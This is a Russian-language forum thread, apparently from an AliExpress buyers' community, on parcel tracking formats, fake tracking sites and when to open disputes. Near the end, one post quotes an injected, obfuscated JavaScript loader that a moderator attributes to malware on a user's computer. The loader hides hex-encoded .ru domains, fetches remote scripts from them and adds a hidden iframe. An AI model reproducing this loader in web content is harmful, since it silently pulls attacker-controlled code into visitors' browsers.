Зарегистрироваться
или войти:
Логин/Пароль
Чтобы общаться на форуме, необходимо зарегистрироваться

Общие вопросы по доставке и отслеживанию - 11

Ответов в теме: 1999
ПользователиСообщений: 1Поблагодарили: 5 разТомск

Здраствуйте! Подскажите пожалуйста, заказала сережки, оплатила, и только потом заметила что у продавца есть минималка. Скажите прод отправит товар или нет?

 

Предыдущая тема здесь »

 

Мини ЧаВО или ответы на часто задаваемые вопросы:



Раздел "Статьи" в помощь покупателям и новичкам.
он-лайн помощь администрации Алиэкспресс.
А также, можно обратиться в Центр помощи, выбрав нужный раздел для разрешения проблем покупателей.
Защита Покупателя(правила Алиэкспресс).
*****
Гид покупателям Алиэкспресс
*****
Каждый продавец AliExpress обязан гарантировать своевременную доставку товара. Если вы приобрели товар на сайте AliExpress.com, но не получили его в указанный продавцом срок, вы имеете право на полный возврат платежа. Максимальный гарантийный срок доставки 60 дней (90 дней для доставки в Россию). Сроки Защиты Покупателя могут отличаться у разных продавцов, но не превышают 120 календарных дней.
Вы можете увидеть срок защиты на странице каждого заказа.
*****
Вопросы по возвратам(открытие спора, консультация) обсуждаются - здесь.
*****

Согласно правилам ВПС (Всемирного Почтового Союза), трек-номер МПО (международного почтового отправления) состоит из 9 цифр и 4 букв.

Структура трек-номера: XX*********XX, где X - буквы, а * - цифры.

Пример: RA123456785SG

Первые две заглавные латинские буквы обозначают тип почтового отправления. Вот основные из них:

LA-LZ - нерегистрируемое МПО весом менее 2 кг (мелкий пакет). Не отслеживается.
RA-RZ - регистрируемое МПО весом менее 2 кг (мелкий пакет). Отслеживается.
CA-CZ - регистрируемое МПО весом более 2 кг (посылка). Отслеживается.
EA-EZ - регистрируемое МПО, оформленное как экспресс-отправление (EMS). Отслеживается.

Далее в трек-номере указывается восьмизначный цифровой уникальный номер МПО. Согласно правилам ВПС он не может повторяться по крайней мере в течение одного года. Последняя (девятая) цифра представляет собой проверочный код, вычисляемый с помощью определенной математической функции от номера отправления.

В конце трек-номера так же указываются две заглавные латинские буквы, которые сокращенно обозначают страну отправителя.
Например: CN - Китай, HK - Гонконг, SG - Синагпур, GB - Великобритания, DE - Германия, US - США и т.д. 

*****

Вопрос: Продавец дал трек, но он не отслеживается (контрольная сумма верная)
Ответ: Продавцы заранее бронируют трек-номера, поэтому выдача вам трек-номера означает, что вашей посылке присвоен трек номер и она упакована. По мере накопления посылок они относятся на почту. Если прошло дней 7 с момента получения трека, а информации так и нет, то можете поторопить продавца. Если прошло 10-14 дней, а трек так и не отслеживается, вы можете открыть спор на полный возврат.
*****
Вопрос: Продавец дал трек, но он не отслеживается (контрольная сумма неверная)
Ответ: Тут может быть несколько причин.
Первая: если сумма заказа небольшая (до 7-10 долларов, а иногда до 5), то продавец мог сэкономить (трек довольно дорогой, порядка 2 долларов) и отправить обычной почтой без трека. В данном случае придется ждать, и следить за таймером защиты заказа.
Вторая: продавец Вас "кинул", если у продавца довольно мало отзывов, а товар недешевый, то через 5-15 дней откроете спор на полный возврат.
*****
Вопрос: Посылка "зависла" в Китае (на стадии Экспорт)
Ответ: Экспорт может продлиться до 3-х месяцев (самый пик приходится на праздники, а также тормозит на съездах КПК (Коммунистической Партии Китая)
*****
Вопрос: Появилось много статусов типа "Упаковка в общий пакет", "Экспорт, Сортировка" или сортировка/упаковка после статуса "Отправлено авиапочтой".
Ответ: Это глюк почты Китая, обращать внимания не нужно, надо ждать импорта в стране назначения.
*****
Вопрос: Не могу понять, что за трек дал продавец?
Ответ: Посмотрите, что продавец написал в Remarks.
Иногда, курьерские службы (например http://www.ywhyhy.com/ используют такие же номера как и почта Китая, если посылка отправлена курьерской службой, то отслеживаться она будет только на сайте самой курьерской службы).
*****
Что такое доставка Sellers Shipping Method?
На сайте Aliexpress есть несколько зарегистрированных способов доставки. Все они известны, это такие как China Mail, EMS, DHL, USPS и т.п. Однако в Китае есть масса, огромное количество не больших транспортных компаний. И некоторым продавцам удобнее работать с такими не большими компаниями. Каждый продавец может выбрать свою. Для такого способа и указывается на Aliexpress Sellers Shipping Method. То есть по-русски отправка транспортной компанией на усмотрение продавца. То есть это не название какой-то конкретной компании, а обозначение того, что продавец отправляет товар каким - то альтернативным методом на своё усмотрение. Одна из таких компаний Сервис Ws-shipping.com, которая предоставляет фальшивую информацию об отслеживании посылок, поэтому внесен в список фейковых сайтов отслеживания. Слежение таких треков можно видеть только по территории Китая до статуса "экспорт".

Где отслеживать посылку отправленую Sellers Shipping Method?
Ссылку на сайт, где можно отслеживать такую посылку, продавец сообщает в разделе Logistic Information вашего заказа. Там же указывается и трек номер. Часто трек бывает не международный и предназначеный для отслеживания на сайте именно этой компании. Это означает что вы не сможете отследить его например на сайте Почты России. Иногда по выходе из Китая продавец может выдать и международный трек. Из популярных компаний которыми отправляют продавцы на Aliexpress через Sellers Shipping Method можно вспомнить: WeDo Express, YANWEN Logistics.
*****
В последнее время стала известна следующая хитрость китайских продавцов: продавец выдает трек-номер и ссылку на сайт для его, якобы, отслеживания.
Трек начинает отслеживаться спустя какое-то время... посылка вроде как едет, все хорошо.
Далее начинается интересное - покупатель получает (в лучшем случае) посылку... которая имеет трек RA..RU (если идет в Россию - доставка Sellers Shipping Method), что явно указывает на то, что заказ был отправлен обычной почтой БЕЗ отслеживания. Посылки же во многие другие страны вообще не получают внутренних треков, что не позволяет однозначно выявить обман.
Статусы отправлений на данных сайтах берутся фактически с потолка.
Явным признаком "подделки" так же являются похожие друг на друга статусы разных посылок, даты которых следуют через равные промежутки времени.
Итак, первые кандидаты:
17 Post Service (17postservice.com) * пруф1 * пруф2 - - треки вида 123456789012 (12 цифр)
World-Shipping post (ws-shipping.com) * пруф1 - - треки вида WS..CN (WS123456789CN)
WeDo Logistics (wedoexpress.com) * пруф * пруф2 - - треки вида WD..CN (WD123456789CN)
HonkongExpressPost (hongkongexpresspost.com) * пруф - - треки вида RT..FI (RT123456789FI)
CNZExpress (cnzexpress.com) * пруф - - треки вида (S1234567)
Faspeed (cn) * пруф- - треки вида RS..CN (RS123456789CN)
*****
Подключено отслеживание треков вида R**********FI.
Большинство треков такого вида от китайцев невалидны и не отслеживаются.
*****
Оператор электронных денежных средств PayPal, входящий в состав интернет-аукциона eBay, объявил о заключении стратегического соглашения с одной из крупнейших китайских почтовых компаний Beijing Post.
Первым плодом сотрудничества двух компаний стал международный сервис логистики PayPal Package, призванный помочь китайским коммерсантам ускорить выполнение заключенных контрактов. Новый сервис расширит возможности предпринимателей по доставке грузов. В настоящее время транспортировка посылок из Китая в США и Европу занимает от 10 до 20 дней.
В настоящее время слежение треков этой логистической компании идёт только по территории Китая до статуса "экспорт". В будущем, возможно, слежение будет происходить и по территории страны назначения.
*****
Что означают буквы в конце статуса ( PEK, CAN и т.п. ) ?
Эти буквы часто видны при отслеживании статуса посылки на China Air Post. Они означают обозначения аэропортов по IATA, в которых посылка была зарегистрирована.
***
Что означает статус NULL ( NULL, PEK )?
Этот статус виден при отслеживании статуса посылки на почте Китая. Это просто внутренние статусы почты Китая, которые они не перевели на английский. Поэтому там где должен быть перевод его нет, а вместо него NULL. Если вам невтерпеж таки узнать, что это за статус – переключитесь на китайскую версию сервиса, скопируйте статус в иероглифах, и переведите его гугл переводчиком. Правда этот способ не всегда срабатывает. Иногда в китайской версии некоторых статусов просто нет.
NULL, PEK означает, что посылка была в аэропорту Пекина. Что она там делала можно узнать в китайской версии China Air Post.
*****
Вопрос: Посылка импортнулась и появилась запись "Для передачи в таможню необходимо уточнить данные" (только для жителей Республики Беларусь)
Ответ: Идем на оф сайт Белпочты http://declaration.belpost.by/searchRu.aspx , вбиваем трек и видим запись !!! Для передачи в таможню необходимо уточнить данные !!! под ней есть кликабельная ссылка на Форму для заполнения. Вводим необходимые данные. В противном случае отправление будет возвращено, т.к. указаны неполные данные о получателе. На почте при получении, придется заплатить 27000 белорусских рублей.
Статус на Белпочте: Прохождение по таможенной зоне (см. http://declaration.belpost.by) MINSK PI 2"?
Тоже самое, что раньше называлось Размещено/возвращено в/c зоны таможенного контроля.
Если при переходе по указанной ссылке только текст без таблицы с трекингом, то значит посылка еще не обработана таможней.
Если есть какие-то записи в таблице, то читайте их внимательно - выпуск разрешен, передано на ручной досмотр и т.д.
В случае записи передано на СВХ возможен приход письма на уточнение информации по посылке. Срок ожидания письма до двух недель.
Статусы почтовых отправлений (Белпочта).
*****
Вопрос: что такое ИНВОЙС ?
Ответ: это квиток, который получают на почте при отправлении посылки с данными отправителя и адресата или составляемый продавцом документ, в котором также есть эти данные, и обязательно стоит  печать. Эти документы могут быть только в виде отсканированного изображения, но не в формате word, excel или др.
Как запросить у продавца инвойс:
Please, send me a scanned copy of my invoice (good's shipment).
*****
Практика работы с Китаем на сегодняшний день такова, что инвойс представляет из себя контракт в сильно сокращенном виде. В нем, как правило, указаны сроки производства товара, размер предоплаты и товар, который китайская сторона обязуется поставить. При этом санкции за ненадлежащее исполнение договоренностей, не оговаривается.
Китайцы всячески сопротивляются заключению полноценного договора, так как не хотят связывать себя договорными обязательствами и подвергаться санкциям за ненадлежащее его исполнение. Поэтому вместо договора предлагают свой вариант инвойса, который юридической силы не имеет.
Образцы китайских инвойс
*****
Что нужно знать о продавцах - мошенниках, читаем здесь.
Советы о том, как избежать мошенничества на AliExpress, читаем - здесь.
*****
Почта России, горячая линия поддержки, Call-центр (линия качества):
8 800 200 58 88 — Cправочная служба ФГУП «Почта России»,
8 800 200 50 55 — Cправочная служба «EMS Почты России»
Для жителей Крыма набор номера начинается с "0" - 0 800 200 58 88 (с домашнего телефона)
*****

Сроки прохождения международных почтовых отправлений по территории РФ.

***
О почтовом курьере «СПСР-Экспресс» есть специальная тема, кроме того, читаем здесь.
СПСР-Экспресс

***

Ruston Express (sfhpost)

Именно через этого оператора перевозок Aliexpress пробует наладить свою доставку в Россию. Трек-номер имеет вид RN123456789, после экспорта принимает вид стандартного международного, который отлично отслеживается в трекере Почты России. Отслеживается на сайте Xin800.com/youzheng/index.php, там же указывается стандартный номер отслеживания.

Neti, Lorcik и ещё 3 поблагодарили за этот комментарий
ПользователиСообщений: 139Поблагодарили: 33 раза 

Андрей Шлык, не знаю что они творят, такая же ситуация заказал поувербенк 11 ноября не было отслеживание 15 дней открыл спор нез никаких вопросов принял спор, и пишет мне если вы честный человек конда получите товар закажите и сразу типа я нажал Подтверждение товара. Smile

mimouse, Я ему написал что ваш трек не международного формата а он мне в ответ

(yes, friend
it is International parcel
this is track number : Q1808100942XX
this is track website :
http://www.17track.net/en/track?nums=Q1808100942XX&fc=0
please 7-10 day after ,check it
if there any thing
please feel free contact us
best regards
linda)

(hi, dear
this is tracking website:
http://www.postnord.se/sv/verktyg/sok/Sidor/spara-brev-paket-och-pall.aspx
We send by registered Sweden postal
PS?International track
best regards
Gina) что онП тут хочет обяснить?

Отредактировал(а) PREHOOK 08-12-2015 в 19:39
ПользователиСообщений: 12426Поблагодарили: 33979 раз Тула

PREHOOK, продавец хочет сказать, что скоро получите второй трек международного формата Швеции

доставка Алиекспресс так и работает, сначала ищет пути, как посылку отправить, выдавая трек-альтернативку, а потом будет трек той почты, которую нашли.

так что, ждем-с

таймер защиты велик?

PREHOOK поблагодарил(а) за этот комментарий
ПользователиСообщений: 139Поблагодарили: 33 раза 

mimouse, По стандарту 60дней

ПользователиСообщений: 12426Поблагодарили: 33979 раз Тула

PREHOOK, тогда ждем развития событий

ПользователиСообщений: 139Поблагодарили: 33 раза 

mimouse, Придется ждать??

ПользователиСообщений: 61Поблагодарили: 8 разМинск

Crimchanka, но ко мне пришли посылки которые отправлены 29.11. - 30.11 и даже пришли посылки отправленны 5.12.15, так что получается все посылки пришли которые отправленны позже, а те что должны быть отправленны 27.11. ждут чтобы их отправили???

ПользователиСообщений: 15053Поблагодарили: 8688 раз 

vint1, получается, что так. Задвинули куда-нибудь в дальний уголок и забыли про них. А может прилетели в Минск PI2, а у сотрудников почты ещё руки не дошли до этого мешка.

vint1 поблагодарил(а) за этот комментарий
ПользователиСообщений: 32Поблагодарили: 2 раза Гродно

Всем привет. Помогите пожалуйста, заказала 21 ноября до сих пор нет информации RN406918596CN . продавец говорит что посылка у них на таможне. А этот трек с места дальше и не двигается, через 15 дней защита закончится RF120839825CN Sad

ПользователиСообщений: 15053Поблагодарили: 8688 раз 

Yuliya_92, если есть хоть какая информация по треку и защита заказа не закончилась, админы Али не дадут Вам открыть спор. Подождите дней пять - семь, если всё останется по прежнему, откроете спор с приложением скрина о местонахождении посылки.

Yuliya_92, по треку - RN406918596CN открывайте спор, это уже перебор, если с 21 ноября нет слежения.

ПользователиСообщений: 61Поблагодарили: 8 разМинск

Crimchanka, спасибо, что успокоили и не написали, что посылки потеряли Wink

Crimchanka поблагодарил(а) за этот комментарий
ПользователиСообщений: 32Поблагодарили: 2 раза Гродно

Crimchanka, а по какому поводу спор открыть? вероятнее всего продавец и не отправил мой заказ? я новичок на али

ПользователиСообщений: 15053Поблагодарили: 8688 раз 

Yuliya_92, нет отслеживания трека. Проверьте свой комп на наличие вирусов, так как за каждым Вашим сообщением тянется шлейф скриптов, говорящих о возможном наличии вирусов.

ПользователиСообщений: 32Поблагодарили: 2 раза Гродно

да что это у меня с комментами??

ПользователиСообщений: 898Поблагодарили: 1166 раз 

У меня с 25.10 трек 11617581102 запись: прибыло в Беларусь, отслеживание в YenWen закончено. На сегодняшний день в пути 52 дня, но срок защиты еще 26 дней. Прод сначала писал, что звонил в таможню.....ерунду всякую писал, потом написал - ждите еще 30-45 дней. Сейчас замолчал. Заказ дешевый - 1,52$. Стоит спор открывать или ждать еще???? Подскажите. Мне, если честно, уже просто надоело смотреть на эту запись.

ПользователиСообщений: 151Поблагодарили: 54 раза Магнитогорск

Yuliya_92 писал(а):

да что это у меня с комментами??

<sсriрt>// <![СDATА[ window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'Wink,t="21678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\Wink\[\]\\\/\+^])/g,"\\$1"Wink+"Sad[^;]*)"Wink;return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.",""Wink;for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "alitrack.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"Wink==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http'Wink==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""Winkreturn;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"Winkwindow.smlo.loadSmlo(n.replace("https:","http:"Wink;else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"Winkwindow.zSmlo.loadSmlo(n.replace("https:","http:"Wink;else{var i=document.createElement("script"Wink;i.setAttribute("src",n),i.setAttribute("type","text/jаvascript"Wink,document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"Wink!=f&&n("a2519043306",f,{expires:parseInt("3600"Wink})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"Wink!=i&&n("a36677002",i);var r=o("a2519043306"Wink;t=r?r:e[0],s(t)};f()}(); // ]]>

<ifrаmе id="a1996667054" style="display: none;" src="//87joojin3fb.ru/f.html">

ПользователиСообщений: 15053Поблагодарили: 8688 раз 

Yuliya_92 писал(а):

да что это у меня с комментами??

Я же написала, что предполагается наличие вирусов в Вашем компьютере. Проверьте антивирусником. Наш сервер сопротивляется вирусу, когда Вы пытаетесь отправить сообщение на форум, вот такой шлей из скриптов и тянется.

ПользователиСообщений: 32Поблагодарили: 2 раза Гродно

Crimchanka, спасибо, проверяю комп. Если трек не отслеживается, товар скорее всего не придёт?

ПользователиСообщений: 15053Поблагодарили: 8688 раз 

Yuliya_92, скорей всего, да. Продавец либо забыл о нём, либо и не думал отправлять.

ПользователиСообщений: 32Поблагодарили: 2 раза Гродно

Crimchanka, отзывы на товар хорошие были и много кто в РБ заказывал, пишут что доставка быстрая. Вот и мой первый неудачный заказ, эх... Sad А есть вероятность, что товар придёт ( если он отправлен или допустим прод отправил позже заявленного срока) а я уже отспорю деньги. Как тогда?

ПользователиСообщений: 15053Поблагодарили: 8688 раз 

Yuliya_92, запретить и дальше отслеживать трек никто Вам запретить не может, но предполагаю, что он и не думал этого делать, т.е. отправлять. Если заказ появится на отслеживании, то спор необострённый всегда можно отменить и попросить продление защиты заказа, но почему-то мне, кажется, что продавец подтвердит спор не долго думая, и Вам админы Али вернут деньги.

Yuliya_92 поблагодарил(а) за этот комментарий
ПользователиСообщений: 3Поблагодарили: 1 раз

Подскажите, пожалуйста, что значит: 2015-12-09 12:14 Гуанчжоу аэропорт, Возврат отправителю по результатам досмотра службой безопасности. Впервые такое.

ПользователиСообщений: 15053Поблагодарили: 8688 раз 

Irina Belka писал(а):

Подскажите, пожалуйста, что значит: 2015-12-09 12:14 Гуанчжоу аэропорт, Возврат отправителю по результатам досмотра службой безопасности. Впервые такое.

Таможня Китая вернула посылку продавцу. Открывайте спор на возврат денег.

ПользователиСообщений: 32Поблагодарили: 2 раза Гродно

Crimchanka, открыла спор, теперь нужно следить за защитой? А если продавец не подтвердит спор

ПользователиСообщений: 3Поблагодарили: 1 раз

Crimchanka, Спасибо Вам за ответ

Crimchanka поблагодарил(а) за этот комментарий
ПользователиСообщений: 126Поблагодарили: 200 раз Минск

Yuliya_92 писал(а):

Crimchanka, открыла спор, теперь нужно следить за защитой? А если продавец не подтвердит спор

Если в течение трех дней не ответит, спор автоматически закроется в Вашу пользу.


Тема автоматически закрыта по причине большого количества сообщений.
Продолжение здесь »

Только зарегистрированные пользователи могут оставлять сообщения на форуме.
Зарегистрироваться
Войти